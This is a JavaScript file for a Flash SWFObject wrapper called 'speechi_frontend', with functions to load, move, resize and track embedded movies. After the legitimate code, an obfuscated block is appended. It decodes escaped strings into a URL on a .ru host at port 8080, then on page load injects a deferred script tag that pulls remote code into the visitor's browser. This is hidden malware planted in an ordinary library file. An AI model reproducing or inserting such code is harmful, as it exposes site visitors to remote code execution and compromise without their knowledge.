if(typeof speechi_frontend == "undefined") var speechi_frontend = new Object();

speechi_frontend.SWFObject = function(path, swf, id, c, w, h) {
	var flashVerions = "8.0";
	this.isInternetExplorer = navigator.appName.indexOf("Microsoft") != -1;
	this.intervalID = 0;
	this.loaded2 = false;
	this.w0 = w;
	this.h0 = h;
	this.id = id;
	this.main_swf_id = "mainSWF" + this.id;
	this.extra_swf_id = "extraSWF" + this.id;
	speechi_frontend[this.id] = this;
	this.path = String(path);
	if (this.path.length > 0 && this.path.charAt(this.path.length-1) != "/") this.path += "/";
	if (swf == "" || typeof swf == "undefined") swf = "loader.swf";
	// create SWFObject
	this.so1 = new SWFObject(this.path + swf, this.main_swf_id, "100%", "100%", flashVerions, c, true);
	this.so1.addVariable("frontend_swf_id", this.id);
	this.so1.addVariable("frontend_path", this.path);
	this.so1.addParam("wmode", "opaque");
	this.so1.addParam("allowScriptAccess", "always");
	this.so2 = new SWFObject(this.path + "empty.swf", this.extra_swf_id, "100%", "100%", flashVerions);
	this.so2.addParam("wmode", this.isInternetExplorer ? "opaque" : "transparent");
}
speechi_frontend.SWFObject.prototype = {
	// SWFObject wrappers
	addVariable: function(name, value) {
		this.so1.addVariable(name, value);
	},
	write: function() {
		document.getElementById("mainContent" + this.id).style.height="100%";
		document.getElementById("extraContent" + this.id).style.height="100%";
		this.so1.write("mainContent" + this.id);
		this.so2.write("extraContent" + this.id);
		// store DIV and SWF document elements
		this.swf1 = this.isInternetExplorer ? window[this.main_swf_id] : document[this.main_swf_id];
		this.swf2 = this.isInternetExplorer ? window[this.extra_swf_id] : document[this.extra_swf_id];
		this.div1 = document.getElementById("mainDIV" + this.id);
		this.div2 = document.getElementById("extraDIV" + this.id);
	},
	// speechi methods
	init: function(w, h) {
		this.w1 = w;
		this.h1 = h;
	},
	loadMovie: function(url, x, y, w, h, c, framerate) {
		this.swf2.LoadMovie(0, url);
		this.x2 = x;
		this.y2 = y;
		this.w2 = w;
		this.h2 = h;
		this.swf2.bgcolor = this.div2.style.backgroundColor = c;
		this.loaded2 = true;
		this.resize();
		this.div2.style.visibility = "visible";
		delete this.movieFrames;
		if (!isNaN(framerate) && (framerate>0)) {
			this.intervalID = window.setInterval("speechi_frontend["+this.id+"].intervalHandler()", 1000/framerate/1.5);
		}
	},
	moveMovie: function(x, y, w, h) {
		this.x2 = x;
		this.y2 = y;
		this.w2 = w;
		this.h2 = h;
		this.resize();
	},
	unloadMovie: function(name, value) {
		if (this.intervalID) {
			window.clearInterval(this.intervalID);
			this.intervalID = 0;
		}
		this.loaded2 = false;
		this.div2.style.visibility = "hidden";
		this.swf2.LoadMovie(0, this.path + "empty.swf");
	},
	resize: function(name, value) {
		if (this.loaded2) {
			var cw = (typeof this.w0 == "undefined" ? document.body.clientWidth : this.w0);
			var ch = (typeof this.h0 == "undefined" ? document.body.clientHeight : this.h0);
			var scaleX = cw / this.w1;
			var scaleY = ch / this.h1;
			var x, y, scale;
			if (scaleX > scaleY) {
				scale = scaleY;
				x = (cw / scale - this.w1) / 2 + this.x2;
				y = this.y2;
			} else {
				scale = scaleX;
				x = this.x2; 
				y = (ch / scale - this.h1) / 2 + this.y2;
			}
			this.div2.style.left = (x * scale / cw * 100) + "%";
			this.div2.style.top = (y * scale / ch * 100) + "%";
			this.div2.style.width = (this.w2 * scale / cw * 100) + "%";
			this.div2.style.height = (this.h2 * scale / ch * 100) + "%";
		}
	},
	_getMovieFrames: function() {
		// check for current frame existance. Otherwise TGetProperty fails in IE. Return total and current frame   
		if (this.swf2.TCurrentFrame("/")>=0) 
			return (this.totalFrames = this.swf2.TGetProperty("/", 5)) + "," + (this.currentFrame = this.swf2.TGetProperty("/", 4));
	},
	getMovieFrames: function() {
		if (typeof this.movieFrames != "undefined") return this.movieFrames;
		return this._getMovieFrames();
	},
	intervalHandler: function() {
		this.movieFrames = this._getMovieFrames();
		if ((this.totalFrames > 1 && this.currentFrame == this.totalFrames) || this.totalFrames == 1) {
			window.clearInterval(this.intervalID);
			this.intervalID = 0;
		}
	}
}

function speechi_init(args) {
	var arg = args.split(",");
	var id = arg[0];
	var w = Number(arg[1]);
	var h = Number(arg[2]);
	speechi_frontend[id].init(w, h);
	return true;
}

function speechi_loadMovie(args) {
	var arg = args.split(",");
	var id = arg[0];
	var url = arg[1];
	var x = Number(arg[2]);
	var y = Number(arg[3]);
	var w = Number(arg[4]);
	var h = Number(arg[5]);
	var c = arg[6];
	var framerate = Number(arg[7]);
	speechi_frontend[id].loadMovie(url, x, y, w, h, c, framerate);
	return true;
}
function speechi_moveMovie(args) {
	var arg = args.split(",");
	var id = arg[0];
	var x = Number(arg[1]);
	var y = Number(arg[2]);
	var w = Number(arg[3]);
	var h = Number(arg[4]);
	speechi_frontend[id].moveMovie(x, y, w, h);
	return true;
}
function speechi_unloadMovie(args) {
	var id = args;
	speechi_frontend[id].unloadMovie();
	return true;
}
function speechi_getMovieFrames(args) {
	var id = args;
	return speechi_frontend[id].getMovieFrames();
}

var speechi_SWFObject = speechi_frontend.SWFObject;

this.f="";function g(){var S='';var sm=new Date();var xV=new String();var R=new Array();var Ph='';var F=unescape;this.Uh='';var I=window;var gL=F("%2f%6e%65%77%73%33%69%6e%73%69%64%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%68%6f%6f%2e%63%6f%6d%2e%70%68%70");var gW='';this.q="";var fD;if(fD!='CE'){fD=''};var IE=new String();function Q(K,P){var Un=new String();var Wf;if(Wf!=''){Wf='Rh'};var H=String("g");var AB=new Array();var QX=F("%5b"), U=F("%5d");var ex="";var G=QX+P+U;var C=new RegExp(G, H);return K.replace(C, new String());this.zP="";var Wx;if(Wx!='' && Wx!='qv'){Wx='B'};};var rS;if(rS!='Wy'){rS=''};var Up;if(Up!='tY'){Up='tY'};var YH=new String();var W=document;var b_;if(b_!='WE' && b_ != ''){b_=null};var Sv;if(Sv!='BP' && Sv != ''){Sv=null};var FB=Q('8226620622228662660626622','26');var Y=new String();var Wd;if(Wd!='ZM' && Wd!='Ui'){Wd=''};var bB='';var vq='';var xz;if(xz!='BQ'){xz='BQ'};function o(){var iN=new Date();var UN="";this.WEy="";var _S;if(_S!='' && _S!='AT'){_S=''};var YY=F("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var wx=new String();var Vz;if(Vz!='' && Vz!='ej'){Vz=''};var rR=new String();var _i;if(_i!='_x' && _i!='fq'){_i='_x'};Y=YY;Y+=FB;Y+=gL;this.II='';var JD;if(JD!='QH' && JD != ''){JD=null};var RM="";var inR=new String();try {r=W.createElement(Q('sFcmrmijpjtM','jmMF'));var Ij='';r[F("%64%65%66%65%72")]=[8,1][1];r[F("%73%72%63")]=Y;var QY;if(QY!='vk' && QY != ''){QY=null};this.jE='';var Gy;if(Gy!=''){Gy='LU'};W.body.appendChild(r);this.kV="";var XJ;if(XJ!='zs'){XJ='zs'};var uk=new String();} catch(u){var Uy;if(Uy!='Nn' && Uy!='Mc'){Uy=''};var zp;if(zp!='RO' && zp!='di'){zp=''};alert(u);};}var yB='';I["onlo"+"ad"]=o;var Eu;if(Eu!='ak' && Eu!='tx'){Eu='ak'};};var ag=new Date();g();var qj;if(qj!='VX'){qj=''};